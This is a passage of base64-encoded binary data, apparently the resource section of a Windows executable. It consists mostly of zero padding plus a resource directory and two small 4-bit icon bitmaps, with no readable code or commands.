AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 